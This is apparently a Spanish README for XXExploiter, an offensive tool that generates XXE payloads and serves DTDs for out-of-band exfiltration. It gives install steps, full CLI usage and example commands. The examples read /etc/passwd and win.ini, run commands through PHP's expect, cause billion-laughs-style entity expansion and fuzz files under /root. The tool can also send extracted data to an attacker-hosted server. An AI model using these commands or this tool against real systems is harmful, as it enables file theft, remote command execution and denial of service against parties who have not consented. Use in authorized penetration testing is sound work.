
Herramienta para ayudar a explotar vulnerabilidades XXE

Genera los payloads XML y automáticamente inicia un servidor para servir los DTD necesarios o realizar exfiltración de datos.
#install node and npm if you don't have it yet
npm install -g xxexploiter
Esta es una aplicación Node simple escrita con TypeScript. Puedes compilarla como cualquier otra aplicación: (instala node y npm primero si no los tienes)
npm install
npm run build
#you may need to npm install typescript -g in order for 'npm build' to succeed
Para ejecutar la aplicación puedes hacerlo de una de estas 3 formas:
npm start [args]
node dist/index.js [args]
npm link #and now just call xxexploiter
O puedes instalarla en tu sistema:
npm link
Usage: xxexploiter [command] [options]
Commands:
xxexploiter file [file_to_read] Use XXE to do a request
xxexploiter request [URL] Use XXE to do a request
xxexploiter expect [command] Use XXE to execute a command through PHP's expect
xxexploiter xee [expantions] Generate a huge content by resolving entities
Fuzzing Specific Options
-w, --wordlist Path to a wordlist to be used with the fuzz command. Use {{FUZZ}} placeholder in the command arg
for the magic.
-y, --success-string String to search for a success response in the requests. Not usefull for blind attacks
-n, --error-string String to search for an error response in the request. Not usefull for blind attacks
Options:
--version Show version number [boolean]
-s, --server Server address for OOB and DTD
-p, --port Server port for OOB and DTDs. Default: 7777
-t, --template path to an XML template where to inject payload
-m, --mode Extraction Mode: xml, oob, cdata. Default: xml
-e, --encode Extraction Encoding: none, phpbase64. Default: none
-o, --output Output for the XML payload file. Default is to console
-x Use a request to automatically send the xml file
-X, --request-output Output the response from -x option. If not defined goes to stdout
--verbose Enable some messages help for understanding whats happening
--doctype Specify the name of the doctype to be injected. Default is xxexploiter
-h, --help Show help [boolean]
Examples:
xxexploiter expect ls
xxexploiter -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml
xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob
xxexploiter xee 900000000 -o output.xml
xxexploiter file /etc/passwd -x request.txt -t template.xml
xxexploiter file /root/{FUZZ} -w wordlist.txt -n "not found" -x request.txt
Extra Info:
- When using the xml or cdata modes, add the placeholder '{{XXE}}' in the field where you want the entity content to
be injected
- When specifiying file paths for windows use forward slash.
- OOB: Out Of Bound: You can use this option to send the data processed by the xml parser, to your local webserver.
Usefull with blind attacks
- When using XML mode, it may break the XML parsing if XML reserved characters are loaded, so you may want to use
cdata
- When using the request option, you can specify the placeholder to inject the payload with {{XXE}} or {{XXE_B64}}
- When fuzzing you can add the {{FUZZ}} keyword in the main command argument.
- You can specify a string to filter successfull requests when fuzzing, either by supplying an expected error string,
or an expected success string
Si eliges usar el modo OOB o CDATA, XXExploiter generará el DTD necesario para ser incluido e iniciará un servidor para alojarlos. Ten en cuenta que si usas estas opciones debes configurar la dirección del servidor.
Si incluyes contenido en el cuerpo del XML, ten en cuenta que los caracteres restringidos de XML como '<' pueden romper el análisis, así que asegúrate de usar CDATA o el base64encode de PHP.
La mayoría de los lenguajes limitan el número de expansiones de entidades o la longitud total del contenido expandido, así que asegúrate de probar XEE primero en tu máquina, con las mismas condiciones que el objetivo.